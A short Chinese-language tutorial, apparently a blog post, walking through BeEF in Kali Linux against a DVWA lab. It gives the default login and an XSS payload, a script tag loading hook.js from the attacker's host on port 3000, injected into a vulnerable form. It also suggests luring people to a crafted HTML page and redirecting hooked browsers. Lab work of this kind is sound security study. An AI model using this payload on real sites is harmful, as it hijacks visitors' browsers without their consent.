打開kali圖形界面,點擊beef start開啟beef
可能自動彈出beef界面,如果沒有彈出,可以在瀏覽器內輸入命令行界面的URL訪問,在beef登錄界面輸入beef的默認用戶名和密碼:beef/beef登錄beef界面,
登錄后,將<script src='http://IP(運行beef主機的IP):3000/hook.js'></script>插入存在xss漏洞的表單中,本人選取了DVWA的普通難度的XSS漏洞處
之后beef界面就會出現瀏覽信息部分,顯示訪問者的IP,由於是本機訪問的虛擬機,顯示的是網關的IP
還可以直接構造一個html腳本,誘使人點即進入,腳本內容如下
可以達到同樣的效果,
可以根據需求將頁面跳轉到其他網址,也可以根據需求,用beef將網址自動跳轉到指定的URL